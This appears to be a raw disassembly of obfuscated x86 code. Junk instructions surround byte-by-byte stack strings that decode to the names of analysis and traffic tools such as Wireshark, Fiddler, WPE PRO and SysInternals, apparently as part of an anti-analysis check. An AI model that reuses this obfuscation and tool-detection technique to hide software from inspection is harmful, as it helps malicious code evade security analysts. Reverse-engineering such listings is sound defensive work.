mov byte [esp + 0x3ce], bl
mov byte [esp + 0x49c], 0x54
btr esi, 0xdd
mov byte [esp + 0x49d], 0x68
mov byte [esp + 0x49e], 0x75
cmovo esi, ecx
xadd esi, esi
mov byte [esp + 0x49f], 0x6e
bts si, ax
neg si
mov byte [esp + 0x4a0], 0x64
btc si, 0xc2
mov byte [esp + 0x4a1], al
test dx, si
mov byte [esp + 0x4a2], 0x72
rol esi, 0x7d
btr esi, 0x32
shl si, 0x4f
mov byte [esp + 0x4a3], 0x52
sar si, 0x1c
bt esi, ebp
mov byte [esp + 0x4a4], 0x54
clc
mov byte [esp + 0x4a5], 0x36
sub si, sp
mov esi, esi
xchg esi, esi
mov byte [esp + 0x4a6], 0x46
stc
test ch, 0xb6
dec esi
mov byte [esp + 0x4a7], cl
mov byte [esp + 0x4a8], 0x72
bsf esi, esp
btc si, cx
mov byte [esp + 0x4a9], 0x6d
mov byte [esp + 0x4aa], 0x44
mov byte [esp + 0x4ab], 0x43
mov byte [esp + 0x4ac], bl
mov byte [esp + 0x45c], 0x56
mov byte [esp + 0x45d], 0x42
bt si, sp
xor esi, 0x103d1d00
mov byte [esp + 0x45e], 0x4d
bsf si, ax
mov byte [esp + 0x45f], dl
shrd si, dx, 0xed
mov byte [esp + 0x460], cl
bsf esi, edi
mov byte [esp + 0x461], 0x53
xor esi, 0xcaf0cac
add si, 0x61e8
mov byte [esp + 0x462], 0x74
sub esi, esi
mov byte [esp + 0x463], 0x64
mov byte [esp + 0x464], 0x43
mov byte [esp + 0x465], cl
clc
mov byte [esp + 0x466], 0x6d
adc esi, esp
bts si, ax
shrd esi, edi, 0x8c
mov byte [esp + 0x467], 0x70
mov byte [esp + 0x468], 0x4d
bts esi, edi
xor esi, 0x2e37512a
mov byte [esp + 0x469], 0x67
mov byte [esp + 0x46a], 0x72
and esi, 0x2fd35681
mov byte [esp + 0x46b], bl
rol si, 0x75
mov byte [esp + 0x358], 0x4c
sbb si, 0x2fca
cmovnp si, cx
mov byte [esp + 0x359], cl
sub si, 0x250d
sbb esi, esp
mov byte [esp + 0x35a], 0x67
add esi, edi
mov byte [esp + 0x35b], 0x69
test dl, 0x8d
rol si, 0xa6
mov byte [esp + 0x35c], 0x6e
jmp 0x871f59
mov byte [esp + 0x320], 0x2e
mov byte [esp + 0x321], cl
cmc
clc
mov byte [esp + 0x322], 0x63
mov byte [esp + 0x323], 0x6b
cmc
mov byte [esp + 0x324], bl
mov byte [esp + 0x3a0], cl
cmp al, 0xe7
cmp ax, bp
jmp 0x59acab
mov byte [esp + 0x3ae], bl
cmp di, si
mov byte [esp + 0x30c], 0x4b
cmc
jmp 0x732f73
mov byte [esp + 0x613], bl
mov byte [esp + 0x57c], 0x4d
test ebp, 0x3c4f332b
mov byte [esp + 0x57d], cl
cmp bp, si
mov byte [esp + 0x57e], 0x6e
mov byte [esp + 0x57f], dl
mov byte [esp + 0x580], 0x74
test edx, 0x702e755c
mov byte [esp + 0x581], al
clc
mov byte [esp + 0x582], 0x72
cmp bh, 0x2d
mov byte [esp + 0x583], 0x2e
test ah, ch
mov byte [esp + 0x584], 0x74
cmc
mov byte [esp + 0x585], 0x78
cmp ebx, ebx
test bh, 0xd
mov byte [esp + 0x586], 0x74
test edi, 0xe1c6894
cmp bp, bp
mov byte [esp + 0x587], bl
stc
mov byte [esp + 0x2f4], 0x2e
jmp 0x79d2a9
mov esi, 0x36
mov word [esp + 0xa80], si
add si, si
shld si, bp, 0x86
bsr si, di
mov esi, 0x34
mov word [esp + 0xa82], si
sbb si, bx
mov esi, 0x20
test di, sp
cmc
mov word [esp + 0xa84], si
shrd esi, esp, 0xe3
cmp esp, esp
mov esi, 0x30
mov word [esp + 0xa86], si
cmp edi, ebx
mov word [esp + 0xa88], si
sub esi, esi
stc
cmp esi, edx
mov word [esp + 0xa8a], si
mov byte [esp + 0x2d4], 0x53
mov si, dx
mov byte [esp + 0x2d5], al
xchg si, si
mov byte [esp + 0x2d6], 0x74
inc si
mov esi, 0x16365913
mov byte [esp + 0x2d7], 0x74
mov esi, edi
mov byte [esp + 0x2d8], 0x69
sub esi, esp
mov esi, eax
mov byte [esp + 0x2d9], 0x6e
movzx esi, bx
mov byte [esp + 0x2da], 0x67
or esi, 0x59e951e6
mov byte [esp + 0x2db], bl
btr esi, 0x11
movsx esi, si
mov byte [esp + 0x374], 0x53
mov byte [esp + 0x375], 0x6d
shld esi, ebx, 0xce
add esi, 0x69637a16
mov byte [esp + 0x376], 0x61
clc
bt esi, 0xe4
mov byte [esp + 0x377], 0x6c
xor si, ax
xadd esi, esi
or si, bp
mov byte [esp + 0x378], 0x6c
sbb esi, ebx
xadd esi, esi
mov byte [esp + 0x379], 0x50
mov byte [esp + 0x37a], al
xchg esi, esi
not esi
mov byte [esp + 0x37b], 0x74
mov byte [esp + 0x37c], dl
mov byte [esp + 0x37d], bl
btr esi, eax
add esi, ecx
xor esi, ebx
mov byte [esp + 0x334], 0x5a
sbb si, si
cmc
mov byte [esp + 0x335], al
mov byte [esp + 0x336], 0x72
bsr si, bx
mov byte [esp + 0x337], cl
movzx esi, bx
and si, dx
mov byte [esp + 0x338], 0x43
bts si, bx
test edx, 0x36760530
mov byte [esp + 0x339], 0x44
sbb esi, esp
mov byte [esp + 0x33a], bl
btc esi, 0x34
bts esi, ebp
mov byte [esp + 0x2fc], 0x4e
bsf esi, ecx
mov byte [esp + 0x2fd], cl
cmp dl, 0x74
mov byte [esp + 0x2fe], 0x55
mov byte [esp + 0x2ff], 0x49
btr esi, 0x9b
mov byte [esp + 0x300], bl
xor esi, edx
btc si, 0xe7
mov byte [esp + 0x368], 0x4e
shld si, bp, 0xd0
mov byte [esp + 0x369], cl
mov byte [esp + 0x36a], 0x57
mov byte [esp + 0x36b], 0x69
bsf esi, edi
test si, 0x62aa
not si
mov byte [esp + 0x36c], 0x6e
sal esi, 0x2d
mov byte [esp + 0x36d], 0x64
rcl esi, 0x5f
mov byte [esp + 0x36e], cl
rcl esi, 0xd9
shld esi, edx, 0xec
mov byte [esp + 0x36f], 0x77
xor si, cx
mov byte [esp + 0x370], bl
adc esi, eax
bsr esi, esi
mov byte [esp + 0x380], 0x4e
xadd si, si
cmovb si, ax
not si
mov byte [esp + 0x381], cl
mov byte [esp + 0x382], 0x4d
add esi, 0x1744165a
mov byte [esp + 0x383], al
mov byte [esp + 0x384], dl
bsf esi, ecx
bswap esi
mov esi, ebp
mov byte [esp + 0x385], dl
mov byte [esp + 0x386], 0x61
sar si, 0xc0
bt esi, ebp
mov byte [esp + 0x387], 0x67
movzx esi, sp
mov byte [esp + 0x388], al
bts esi, ebp
mov byte [esp + 0x389], bl
add si, 0x5154
shr esi, 0xc5
or esi, 0x75a70ec8
mov byte [esp + 0x3f8], 0x48
rol si, 0xd3
mov byte [esp + 0x3f9], cl
rcr esi, 0xef
mov byte [esp + 0x3fa], 0x74
mov esi, edx
bswap esi
mov byte [esp + 0x3fb], 0x4b
mov byte [esp + 0x3fc], al
mov byte [esp + 0x3fd], 0x79
mov byte [esp + 0x3fe], 0x44
mov byte [esp + 0x3ff], 0x72
mov byte [esp + 0x400], 0x69
mov byte [esp + 0x401], 0x6e
bt esi, 0x88
mov byte [esp + 0x402], 0x6b
mov byte [esp + 0x403], bl
sub esi, 0x53002442
mov byte [esp + 0x40], dl
sbb si, bp
mov byte [esp + 0x41], al
bt si, 0x47
adc si, di
btr esi, ecx
mov byte [esp + 0x42], 0x70
cmp edi, 0x53305753
mov byte [esp + 0x43], bl
mov byte [esp + 0x2ec], 0x50
mov byte [esp + 0x2ed], 0x30
mov byte [esp + 0x2ee], 0x30
xchg si, si
mov byte [esp + 0x2ef], 0x30
bsr si, dx
stc
mov byte [esp + 0x2f0], bl
xchg esi, esi
bt esi, edx
mov byte [esp + 0x328], dl
mov byte [esp + 0x329], 0x70
mov byte [esp + 0x32a], 0x79
rcr si, 0xd1
cmp sp, 0x2405
mov byte [esp + 0x32b], 0x78
mov byte [esp + 0x32c], 0x78
shr esi, 0x28
bts si, sp
cmp bx, 0x1e17
mov byte [esp + 0x32d], 0x68
mov byte [esp + 0x32e], 0x6b
bts si, di
mov byte [esp + 0x32f], 0x2e
sbb si, cx
clc
mov byte [esp + 0x330], 0x64
adc esi, 0x5b831b31
bt si, 0xd0
mov byte [esp + 0x331], 0x6c
mov byte [esp + 0x332], 0x6c
mov esi, 0x45725818
add si, 0x564b
shr esi, 0x33
mov byte [esp + 0x333], bl
mov byte [esp + 0x51c], 0x57
mov byte [esp + 0x51d], 0x69
bts esi, ecx
neg esi
mov byte [esp + 0x51e], 0x72
sar si, 0xbb
mov byte [esp + 0x51f], al
rcl si, 9
mov byte [esp + 0x520], dl
mov byte [esp + 0x521], 0x68
mov byte [esp + 0x522], 0x61
not esi
mov byte [esp + 0x523], 0x72
cmove si, sp
neg esi
mov byte [esp + 0x524], 0x6b
bts esi, ebx
rcl esi, 0x53
mov byte [esp + 0x525], bl
mov byte [esp + 0x404], 0x2e
and esi, esp
add si, 0x6248
mov byte [esp + 0x405], 0x70
sub si, sp
rol esi, 0x9c
mov byte [esp + 0x406], 0x63
bt si, si
xadd si, si
mov byte [esp + 0x407], 0x61
sar si, 0x40
movzx esi, si
mov byte [esp + 0x408], 0x70
mov byte [esp + 0x409], bl
rcl si, 0x13
xor si, 0x5be8
mov byte [esp + 0x5f4], 0x43
mov byte [esp + 0x5f5], 0x61
bts esi, edi
mov byte [esp + 0x5f6], 0x70
mov byte [esp + 0x5f7], 0x74
mov byte [esp + 0x5f8], 0x75
or si, 0xee
cmovp esi, edi
mov byte [esp + 0x5f9], 0x72
bts si, cx
adc esi, 0xcb71db0
mov byte [esp + 0x5fa], 0x69
sbb si, si
mov byte [esp + 0x5fb], 0x6e
mov byte [esp + 0x5fc], 0x67
mov byte [esp + 0x5fd], 0x20
jmp 0x7b3160
mov esi, 0x20
cmp sp, dx
test dl, 0xf9
mov word [esp + 0xa78], si
test esi, esp
mov esi, 0x36
test dl, 0x52
stc
jmp 0x57d3c3
mov word [esp + 0xa52], si
sar si, 2
add esi, 0x161625ed
mov esi, 0x20
mov word [esp + 0xa54], si
sbb si, bx
mov esi, 0x36
cmp ecx, 0x5fe70e57
clc
mov word [esp + 0xa56], si
movzx esi, ax
mov esi, 0x43
jmp 0x7d80cc
mov word [esp + 0x886], si
stc
mov word [esp + 0x888], si
xchg si, si
test ecx, ecx
mov esi, 0x20
cmc
test dh, 0xa9
mov word [esp + 0x88a], si
mov esi, 0x36
mov word [esp + 0x88c], si
shl esi, 0xda
mov esi, 0x39
mov word [esp + 0x88e], si
add esi, 0x8cc1a69
mov esi, 0x20
cmp esi, esp
stc
mov word [esp + 0x890], si
xchg esi, esi
cmc
mov esi, 0x30
cmp bp, bp
stc
mov word [esp + 0x892], si
test bp, 0x937
mov word [esp + 0x894], si
mov esi, 0x20
mov word [esp + 0x896], si
adc esi, ebx
sbb esi, 0x7afb78d1
bswap si
mov esi, 0x36
mov word [esp + 0x898], si
cmovp esi, edi
mov esi, 0x34
test cx, dx
mov word [esp + 0x89a], si
clc
rcr si, 0x54
mov esi, 0x20
cmp esp, ebx
cmp si, 0x6f58
mov word [esp + 0x89c], si
mov esi, 0x30
jmp 0x74c916
mov byte [esp + 0x30d], al
jmp 0x819f01
mov esi, 0x20
mov word [esp + 0xae2], si
ror esi, 0x81
dec si
mov esi, 0x37574c3a
mov esi, 0x3f
mov word [esp + 0xae4], si
mov esi, 0x20
cmc
test bh, 0xba
mov word [esp + 0xae6], si
sar si, 0xd0
sbb esi, 0x34930aa2
mov esi, 0x3f
cmp bh, 0x60
test bx, di
mov word [esp + 0xae8], si
dec esi
rcl si, 0x5f
mov esi, 0x20
mov word [esp + 0xaea], si
sar esi, 0xae
mov esi, 0x3f
cmp bp, bp
mov word [esp + 0xaec], si
mov esi, 0x20
cmp ebp, 0xfe228bb
jmp 0x76126c
mov word [esp + 0x8be], si
dec si
bts esi, esp
mov esi, 0x20
mov word [esp + 0x8c0], si
rcr esi, 0x69
mov esi, 0x30
cmc
clc
mov word [esp + 0x8c2], si
cmc
mov word [esp + 0x8c4], si
cmc
cmp ax, si
sub esi, esi
mov word [esp + 0x8c6], si
bt esi, 0x47
mov esi, 0x34
mov word [esp + 0x8cc], si
mov esi, 0x43
jmp 0x888704
mov word [esp + 0x858], si
jmp 0x5f340e
mov byte [esp + 0x607], 0x6e
test ebp, edi
mov byte [esp + 0x608], dl
mov byte [esp + 0x609], 0x6c
cmc
mov byte [esp + 0x60a], 0x61
mov byte [esp + 0x60b], 0x74
test ebp, 0x22ad6ed1
stc
cmp eax, 0x4cdb5886
mov byte [esp + 0x60c], 0x69
mov byte [esp + 0x60d], cl
cmp sp, 0x6565
cmp sp, cx
mov byte [esp + 0x60e], 0x6e
jmp 0x7c54ec
mov byte [esp + 0x34a], bl
mov word [esp + 0xa6c], si
rol esi, 0xaf
mov esi, 0x36
mov word [esp + 0xa6e], si
mov esi, 0x39
test al, 0xc
mov word [esp + 0xa70], si
btr esi, 0x8a
cmc
mov esi, 0x20
mov word [esp + 0xa72], si
not esi
mov esi, 0x36
mov word [esp + 0xa74], si
bsr si, bp
dec esi
shrd si, bx, 0xfc
mov esi, 0x35
clc
test bh, 0x43
cmp edx, 0x4250752f
mov word [esp + 0xa76], si
jmp 0x70abf2
mov word [esp + 0x89e], si
clc
cmc
mov word [esp + 0x8a0], si
mov esi, 0x20
test ch, 0xb2
mov word [esp + 0x8a2], si
mov esi, 0x36
cmp cl, bl
test dx, 0x4498
jmp 0x7b082b
mov word [esp + 0xacc], si
test edi, eax
mov word [esp + 0xace], si
test bh, 0x7d
shrd esi, eax, 0x79
mov esi, 0x20
cmc
clc
mov word [esp + 0xad0], si
rol si, 0x73
mov esi, 0x30
test ebp, 0x79981b3a
cmp ah, bl
mov word [esp + 0xad2], si
test esi, eax
clc
mov word [esp + 0xad4], si
mov esi, 0x20
mov word [esp + 0xad6], si
test edx, 0x81628e9
mov esi, 0x30
mov word [esp + 0xad8], si
mov word [esp + 0xada], si
mov si, 0x60f5
sub si, 0x175a
mov esi, 0x20
cmp ebp, 0x7671252c
mov word [esp + 0xadc], si
mov esi, 0x45
clc
stc
mov word [esp + 0xade], si
mov esi, 0x38
mov word [esp + 0xae0], si
jmp 0x7397da
mov word [esp + 0xaee], si
sbb si, 0x4ba0
bsr esi, eax
mov esi, 0x3f
jmp 0x7b6dd9
mov byte [esp + 0x53a], 0x2e
sbb si, ax
sar esi, 0x5d
mov byte [esp + 0x53b], 0x64
rol si, 4
mov byte [esp + 0x53c], 0x6c
mov si, 0x7aed
btr esi, 0x1d
sbb si, 0x281c
mov byte [esp + 0x53d], 0x6c
mov byte [esp + 0x53e], bl
shrd esi, edi, 0xb
shld si, dx, 0x54
mov byte [esp + 0x47c], 0x57
cmp edi, esp
dec esi
mov byte [esp + 0x47d], 0x50
mov byte [esp + 0x47e], 0x45
add esi, esp
test edx, 0x320610a
not si
mov byte [esp + 0x47f], 0x20
mov byte [esp + 0x480], 0x50
mov byte [esp + 0x481], 0x52
mov byte [esp + 0x482], 0x4f
btr esi, ebp
mov byte [esp + 0x483], bl
movzx esi, dx
rcl si, 0xde
xor esi, eax
mov byte [esp + 0x3e4], 0x57
sbb si, dx
test edx, ecx
bts si, si
mov byte [esp + 0x3e5], 0x2d
and esi, 0xd4c0d1e
sub si, si
rcl esi, 0xb2
mov byte [esp + 0x3e6], 0x50
sar si, 0x4c
btc si, 0xec
mov byte [esp + 0x3e7], 0x2d
mov byte [esp + 0x3e8], 0x45
adc esi, 0x1ef7505f
test ebp, edx
rcl esi, 0x12
mov byte [esp + 0x3e9], bl
rol si, 0xf5
mov byte [esp + 0x484], 0x57
bts si, bp
test esi, ebx
shr esi, 0x1f
mov byte [esp + 0x485], 0x50
sbb si, bx
mov byte [esp + 0x486], 0x45
shrd si, ax, 0xbb
rcr si, 0x64
mov byte [esp + 0x487], 0x5f
clc
mov byte [esp + 0x488], 0x50
mov byte [esp + 0x489], 0x52
mov byte [esp + 0x48a], 0x4f
and esi, ecx
mov byte [esp + 0x48b], bl
mov byte [esp + 0x504], 0x57
sbb esi, 0x368f1763
add esi, 0x5c130f9
mov byte [esp + 0x505], 0x54
not si
mov byte [esp + 0x506], 0x57
btr si, 8
bsf si, dx
mov byte [esp + 0x507], 0x69
add si, 0x38ad
mov byte [esp + 0x508], 0x6e
mov byte [esp + 0x509], 0x64
shl esi, 0xd3
mov byte [esp + 0x50a], cl
rol si, 0xc4
mov byte [esp + 0x50b], 0x77
sar si, 0xec
btc esi, 0xfa
mov byte [esp + 0x50c], bl
mov byte [esp + 0x564], 0x43
mov byte [esp + 0x565], 0x50
rol si, 0x26
or si, bp
bts esi, esp
mov byte [esp + 0x566], 0x50
xor esi, 0x48ce6ed7
mov byte [esp + 0x567], 0x54
bswap esi
mov byte [esp + 0x568], cl
mov byte [esp + 0x569], cl
bts esi, ecx
rcl esi, 0x55
mov byte [esp + 0x56a], 0x6c
rol si, 0xbf
mov byte [esp + 0x56b], 0x54
mov byte [esp + 0x56c], 0x69
xadd si, si
btr esi, 0x49
mov byte [esp + 0x56d], 0x70
rcl si, 0xbe
mov byte [esp + 0x56e], bl
cmp ebx, edx
mov byte [esp + 0x42c], 0x59
inc esi
shld si, dx, 0x12
mov byte [esp + 0x42d], 0x78
bts si, bx
mov byte [esp + 0x42e], 0x53
mov byte [esp + 0x42f], cl
mov byte [esp + 0x430], 0x66
btr si, bx
mov si, 0x5240
ror si, 0x8f
mov byte [esp + 0x431], 0x74
ror si, 0xac
mov byte [esp + 0x432], bl
mov esi, 0x30
stc
cmc
cmp cx, 0x4e11
mov word [esp + 0xaa4], si
test si, 0x5916
clc
mov word [esp + 0xaa6], si
mov esi, 0x20
cmp cx, bx
mov word [esp + 0xaa8], si
mov esi, 0x36
jmp 0x84392b
mov word [esp + 0x7ec], si
mov esi, 0x37
test dh, 0x1a
mov word [esp + 0x7ee], si
mov esi, 0x44
stc
clc
cmp edx, esp
mov word [esp + 0x7f0], si
bswap si
mov esi, 0x20
jmp 0x6267fa
mov word [esp + 0x8d4], si
mov esi, 0x20
mov word [esp + 0x8d6], si
and esi, ebp
mov esi, 0x36
jmp 0x79691e
mov word [esp + 0x8d8], si
xchg esi, esi
shr si, 0xd8
bts si, cx
mov esi, 0x46
mov word [esp + 0x8da], si
bts esi, esp
cmc
bt si, si
mov esi, 0x20
cmc
clc
mov word [esp + 0x8dc], si
rol si, 0x94
mov esi, 0x30
mov word [esp + 0x8de], si
jmp 0x8451bf
mov byte [esp + 0x2f5], 0x74
clc
test edx, esp
mov byte [esp + 0x2f6], 0x78
test ebx, esp
cmp bp, 0x64eb
mov byte [esp + 0x2f7], 0x74
jmp 0x53bc1a
mov word [esp + 0x8b2], si
bts si, cx
not esi
and si, bx
mov esi, 0x20
clc
cmp edx, 0x7ca5215c
stc
mov word [esp + 0x8b4], si
bts si, bp
btc esi, 0xdc
mov esi, 0x30
cmc
stc
test esp, 0x16306bd4
mov word [esp + 0x8b6], si
mov word [esp + 0x8b8], si
btc esi, 0x21
sub si, sp
mov esi, 0x20
test eax, ebx
cmp bh, ch
mov word [esp + 0x8ba], si
btc si, si
not si
mov esi, 0x30
mov word [esp + 0x8bc], si
jmp 0x73a3b2
mov word [esp + 0x8a4], si
btr si, bx
mov esi, 0x46
mov word [esp + 0x8a6], si
mov esi, 0x20
jmp 0x7e6378
mov byte [esp + 0x3ad], al
jmp 0x6c8ae9
mov byte [esp + 0x5fe], 0x66
btc si, ax
mov byte [esp + 0x5ff], 0x72
mov byte [esp + 0x600], cl
btr esi, esp
and si, sp
mov byte [esp + 0x601], 0x6d
or si, 0x39a4
bswap esi
adc si, di
mov byte [esp + 0x602], bl
adc si, 0x5583
cmp sp, 0x1a99
test edx, eax
mov byte [esp + 0x474], 0x46
inc si
mov byte [esp + 0x475], 0x69
mov byte [esp + 0x476], 0x64
mov byte [esp + 0x477], 0x64
mov byte [esp + 0x478], 0x6c
mov byte [esp + 0x479], al
add si, bp
bsf si, bx
mov byte [esp + 0x47a], 0x72
shld esi, esp, 4
rcr esi, 0xba
mov byte [esp + 0x47b], bl
mov byte [esp + 0x614], 0x4d
dec si
mov byte [esp + 0x615], al
ror si, 0x82
and si, 0x3487
mov byte [esp + 0x616], dl
inc si
mov byte [esp + 0x617], dl
mov byte [esp + 0x618], 0x61
mov byte [esp + 0x619], 0x67
sub esi, 0x35fd152f
sar esi, 0x70
sbb si, 0x4860
mov byte [esp + 0x61a], al
or si, 0x3299
add esi, ebp
ror si, 0x57
mov byte [esp + 0x61b], 0x20
mov byte [esp + 0x61c], 0x41
xor si, dx
mov byte [esp + 0x61d], 0x6e
mov byte [esp + 0x61e], 0x61
or esi, 0x15396512
mov byte [esp + 0x61f], 0x6c
mov byte [esp + 0x620], 0x79
shld si, di, 0xe8
mov byte [esp + 0x621], 0x7a
mov byte [esp + 0x622], al
and si, sp
mov byte [esp + 0x623], 0x72
cmc
mov byte [esp + 0x624], bl
bswap si
xor esi, 0x4581607a
mov byte [esp + 0x594], 0x53
and esi, 0x538e5085
mov byte [esp + 0x595], 0x79
btr si, 0xba
mov byte [esp + 0x596], dl
or si, 0x2575
cmp bx, di
mov byte [esp + 0x597], 0x69
mov byte [esp + 0x598], 0x6e
cmc
mov byte [esp + 0x599], 0x74
mov byte [esp + 0x59a], al
mov byte [esp + 0x59b], 0x72
mov byte [esp + 0x59c], 0x6e
bt si, bp
bswap esi
mov byte [esp + 0x59d], 0x61
mov byte [esp + 0x59e], 0x6c
mov si, 0x795c
mov byte [esp + 0x59f], dl
mov byte [esp + 0x5a0], bl
bsf si, sp
sar si, 0x31
mov byte [esp + 0x570], 0x4e
sbb si, bp
shrd esi, edx, 0xdf
shld esi, ebp, 0xf
mov byte [esp + 0x571], al
mov byte [esp + 0x572], 0x74
shr si, 0x6d
mov byte [esp + 0x573], 0x42
test ah, 0xc8
mov byte [esp + 0x574], 0x61
btc esi, 0x9a
mov byte [esp + 0x575], 0x6c
mov byte [esp + 0x576], 0x61
shr si, 0x5a
mov byte [esp + 0x577], 0x6e
movsx esi, si
mov byte [esp + 0x578], 0x63
sar si, 0x24
mov byte [esp + 0x579], al
bt esi, edx
test ch, 0x1d
mov byte [esp + 0x57a], 0x72
shld esi, esp, 0x8b
mov byte [esp + 0x57b], bl
btc esi, ebx
shl esi, 0x68
mov byte [esp + 0x3ec], 0x46
mov byte [esp + 0x3ed], 0x69
adc esi, ecx
sar esi, 0x31
neg esi
mov byte [esp + 0x3ee], 0x6c
add esi, eax
mov byte [esp + 0x3ef], al
shrd si, bx, 0x8d
cmovle si, si
test al, 0x7a
mov byte [esp + 0x3f0], 0x4d
sar esi, 0x57
test di, 0x4c7e
btr si, bp
mov byte [esp + 0x3f1], cl
rcr esi, 0xfd
mov byte [esp + 0x3f2], 0x6e
ror esi, 0xe
mov byte [esp + 0x3f3], 0x69
test bp, ax
mov byte [esp + 0x3f4], 0x74
jmp 0x57925d
mov word [esp + 0xaf0], si
mov esi, 0x20
jmp 0x801014
mov word [esp + 0xafa], si
and si, si
btc esi, 9
mov esi, 0x34
cmc
mov word [esp + 0xafc], si
neg si
mov esi, 0x20
cmc
mov word [esp + 0xafe], si
shr si, 0x49
adc esi, esi
mov esi, 0x30
mov word [esp + 0xb00], si
mov esi, 0x43
jmp 0x8a49af
mov byte [esp + 0x60f], 0x2e
mov byte [esp + 0x610], 0x74
stc
test esi, edx
mov byte [esp + 0x611], 0x78
test si, sp
jmp 0x639138
mov word [esp + 0x7e4], si
mov esi, 0x20
mov word [esp + 0x7e6], si
mov esi, 0x7b1c1e76
mov esi, 0x33
stc
mov word [esp + 0x7e8], si
bt esi, eax
test di, 0x5c3a
mov esi, 0x37
mov word [esp + 0x7ea], si
mov esi, 0x20
jmp 0x7859a1
mov word [esp + 0x8aa], si
cmp bp, 0x761d
mov word [esp + 0x8ac], si
shld esi, ebp, 0xe
mov esi, 0x20
mov word [esp + 0x8ae], si
shl esi, 0x61
mov esi, 0x36
clc
mov word [esp + 0x8b0], si
dec esi
neg si
mov esi, 0x45
cmc
jmp 0x79de8f
mov word [esp + 0xa58], si
stc
add si, si
mov esi, 0x20
clc
stc
mov word [esp + 0xa5a], si
bsf si, di
mov esi, 0x36
test ecx, ebp
mov word [esp + 0xa5c], si
rcl si, 0x56
mov esi, 0x43
stc
clc
mov word [esp + 0xa5e], si
sal esi, 0xc3
mov esi, 0x20
mov word [esp + 0xa60], si
rcr si, 0xa4
movsx esi, si
mov esi, 0x35
mov word [esp + 0xa62], si
shl esi, 0x3c
mov esi, 0x33
test di, di
mov word [esp + 0xa64], si
mov esi, 0x20
cmp bh, 0xc
mov word [esp + 0xa66], si
mov esi, 0x36
stc
mov word [esp + 0xa68], si
cmp esi, 0x1db91f3a
movzx esi, dx
mov esi, 0x38
cmp cx, 0xb6c
mov word [esp + 0xa6a], si
xor si, 0x1c91
jmp 0x87a7ce
mov word [esp + 0x8a8], si
sub si, 0x3c16
shrd si, di, 0xc2
mov esi, 0x30
jmp 0x7d4944
mov word [esp + 0xaf2], si
xchg si, si
or si, 0x3324
mov esi, 0x38
mov word [esp + 0xaf4], si
sub esi, ebp
cmp bp, si
mov esi, 0x33
mov word [esp + 0xaf6], si
mov esi, 0x20
clc
test eax, 0x1a6753e0
mov word [esp + 0xaf8], si
mov esi, 0x43
jmp 0x7b83e6
mov byte [esp + 0x316], 0x64
mov byte [esp + 0x317], 0x2e
mov byte [esp + 0x318], 0x64
mov byte [esp + 0x319], 0x6c
cmp esi, 0x9f2238f
mov byte [esp + 0x31a], 0x6c
mov byte [esp + 0x31b], bl
sal esi, 0x86
sbb esi, esi
mov byte [esp + 0x304], 0x4f
btc si, 0xb0
add esi, esp
rcl esi, 0xb3
mov byte [esp + 0x305], 0x43
cmc
mov byte [esp + 0x306], 0x52
mov byte [esp + 0x307], 0x2e
bt esi, 0xf6
mov byte [esp + 0x308], 0x64
mov esi, ebx
cmp sp, 0x3a88
mov byte [esp + 0x309], 0x6c
mov byte [esp + 0x30a], 0x6c
mov byte [esp + 0x30b], bl
and esi, esp
shrd si, ax, 0x2e
mov byte [esp + 0x2dc], dl
cmc
add esi, ebx
mov byte [esp + 0x2dd], dl
cmovo esi, esp
mov byte [esp + 0x2de], 0x2e
neg esi
bt si, 0x9a
rol si, 0xf9
mov byte [esp + 0x2df], 0x64
cmp bp, di
and esi, ecx
mov byte [esp + 0x2e0], 0x6c
adc si, 0x2308
rcl si, 0x65
mov byte [esp + 0x2e1], 0x6c
mov byte [esp + 0x2e2], bl
mov si, dx
cmovae esi, ebx
mov byte [esp + 0x3b0], 0x6d
adc si, 0x6009
neg esi
mov byte [esp + 0x3b1], 0x61
shld si, cx, 0x43
bt esi, ebx
mov byte [esp + 0x3b2], 0x70
xadd esi, esi
mov byte [esp + 0x3b3], dl
inc esi
test edi, 0x6882322c
cmp esp, 0x7fbc13d7
mov byte [esp + 0x3b4], 0x5c
bt esi, ecx
mov esi, 0x35
mov word [esp + 0x85c], si
mov esi, 0x30
mov word [esp + 0x85e], si
stc
sbb esi, esi
mov esi, 0x20
test ecx, edi
mov word [esp + 0x860], si
bts esi, esi
adc esi, ebp
rcl si, 0x17
mov esi, 0x30
test cx, 0x3ad6
cmp edx, edi
mov word [esp + 0x862], si
mov word [esp + 0x864], si
mov esi, 0x20
clc
mov word [esp + 0x866], si
movzx esi, bx
mov esi, 0x36
cmp ebp, ebx
cmc
mov word [esp + 0x868], si
btc si, di
bt esi, ebx
sub si, 0x1595
mov esi, 0x46
mov word [esp + 0x86a], si
bt esi, eax
shld si, di, 0x45
mov esi, 0x20
cmc
test ebx, esi
mov word [esp + 0x86c], si
rcl si, 0x93
bts esi, ecx
mov esi, 0x30
mov word [esp + 0x86e], si
clc
mov word [esp + 0x870], si
adc esi, ebx
rol si, 0x2f
adc esi, 0x51df3f35
mov esi, 0x20
mov word [esp + 0x872], si
mov esi, 0x37
cmp dl, 0x27
mov word [esp + 0x874], si
mov esi, 0x33
mov word [esp + 0x876], si
btr si, 0x73
mov esi, 0x20
test edi, esp
cmc
mov word [esp + 0x878], si
mov esi, 0x30
mov word [esp + 0x87a], si
mov word [esp + 0x87c], si
mov esi, 0x20
test edi, ebx
mov word [esp + 0x87e], si
neg si
bt si, sp
mov esi, 0x36
test bp, bp
stc
cmp ax, bp
mov word [esp + 0x880], si
and si, 0x175b
mov esi, 0x35
cmp edx, 0x73c37382
cmc
clc
mov word [esp + 0x882], si
btr esi, 0xf9
cmp esi, 0x5594472f
mov esi, 0x20
mov byte [esp + 0x3b5], 0x31
clc
mov byte [esp + 0x3b6], 0x36
clc
cmp di, 0x3358
mov byte [esp + 0x3b7], 0x33
test edx, 0x1d743a39
mov byte [esp + 0x3b8], 0x38
cmc
mov byte [esp + 0x3b9], 0x34
stc
mov byte [esp + 0x3ba], 0x2e
cmp dx, 0xe58
mov byte [esp + 0x3bb], 0x74
mov byte [esp + 0x3bc], 0x78
mov byte [esp + 0x3bd], 0x74
stc
test ebp, 0x103c2a27
cmc
mov byte [esp + 0x3be], bl
mov byte [esp + 0x31c], 0x44
stc
mov byte [esp + 0x31d], al
cmp ecx, 0x141d2e5e
mov byte [esp + 0x31e], 0x6d
cmc
test sp, 0x1c18
mov byte [esp + 0x31f], cl
jmp 0x6b2037
mov byte [esp + 0x30e], 0x79
stc
jmp 0x5cf455
mov esi, 0x30
clc
mov word [esp + 0x83e], si
mov word [esp + 0x840], si
mov esi, 0x20
mov word [esp + 0x842], si
bts esi, ecx
mov esi, 0x36
cmc
clc
stc
mov word [esp + 0x844], si
sal esi, 0x31
mov esi, 0x45
cmp dl, 0x7b
